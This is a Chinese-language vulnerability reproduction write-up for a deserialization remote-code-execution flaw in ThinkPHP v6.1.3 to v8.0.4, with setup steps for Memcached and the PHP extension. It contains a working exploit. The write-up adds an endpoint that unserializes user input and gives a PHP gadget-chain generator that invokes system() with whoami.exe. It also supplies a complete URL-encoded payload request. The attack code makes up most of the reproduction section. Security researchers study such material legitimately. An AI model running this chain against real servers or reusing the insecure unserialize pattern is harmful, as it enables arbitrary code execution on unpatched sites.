Thinkphp v6.1.3至v8.0.4版本中存在反序列化漏洞,攻击者可利用此漏洞执行任意代码。
影响版本
v6.1.3 <= thinkphp <= v8.0.4
环境搭建
- 环境:php8.0.2+thinkphp8.0.4+memcached3.2.0
首先搭建 thinkphp 环境:thinkPHP 8.0.4 安装_thinkphp8.0在哪下载-CSDN博客
要复现该漏洞,需确保你的Windows(或任何操作系统)上已经安装了Memcached服务器,并且PHP环境中也已经安装并启用了Memcached扩展。
安装Memcached服务器
- 下载Memcached软件:http://static.jyshare.com/download/memcached-1.4.5-amd64.zip
- 安装并启动 Memcached,执行如下,然后在任务栏中可见相关进程已启动
memcached.exe -d install
memcached.exe -d start
安装 PHP Memcached扩展
1. 下载PHP Memcached扩展:https://github.com/lifenglsf/php_memcached_dll
首先通过 phpinfo 查看 php 版本,NTS
由于是 php8.0 以及 NTS 所以选择如下
2. 下载后将php_memcached.dll 复制到对应 php 版本的 ext 目录中
3. 然后将 libmemcached.dll 复制到 c:\Windows 下
4. 在 php.ini 中添加一行配置,启用Memcached扩展
[Memcached]
extension=php_memcached.dll
配置ThinkPHP的缓存设置
最后需要在ThinkPHP的配置文件中设置默认的缓存驱动为Memcached
打开 config/cache.php,配置如下
<?php
// +----------------------------------------------------------------------
// | 缓存设置
// +----------------------------------------------------------------------
// config/cache.php
return [
// 默认缓存驱动
'default' => 'memcached',
// 缓存连接方式配置
'stores' => [
// Memcached缓存
'memcached' => [
// 驱动方式
'type' => 'memcached',
// 服务器地址
'host' => '127.0.0.1',
// 端口
'port' => 11211,
// 持久连接
'persistent' => false,
// 超时时间(单位:秒)
'timeout' => 0,
// 前缀
'prefix' => '',
// Memcached连接选项
'options' => [],
// 权重(在多服务器配置时使用)
// 'weight' => 100,
],
// 这里可以配置其他缓存驱动
],
];
最后重启 thinkphp (php think run) ,通过 phpinfo,查看扩展是否正确加载
到这环境准备完成
漏洞复现
1. 首先,在app\controller\Index.php 中添加一个反序列化端点。因为这个漏洞只是提供了一条反系列化的链,而在实战中该反序列化的的入口点需要自己去找
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
2. 利用下面的payload生成序列化数据,将该文件放置到 tp\public 目录下
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["C:\Windows\System32\whoami.exe"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
3. 使用 payload 反序列化触发 rce
http://127.0.0.1:8000/?x=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A30%3A%22C%3A%5CWindows%5CSystem32%5Cwhoami.exe%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D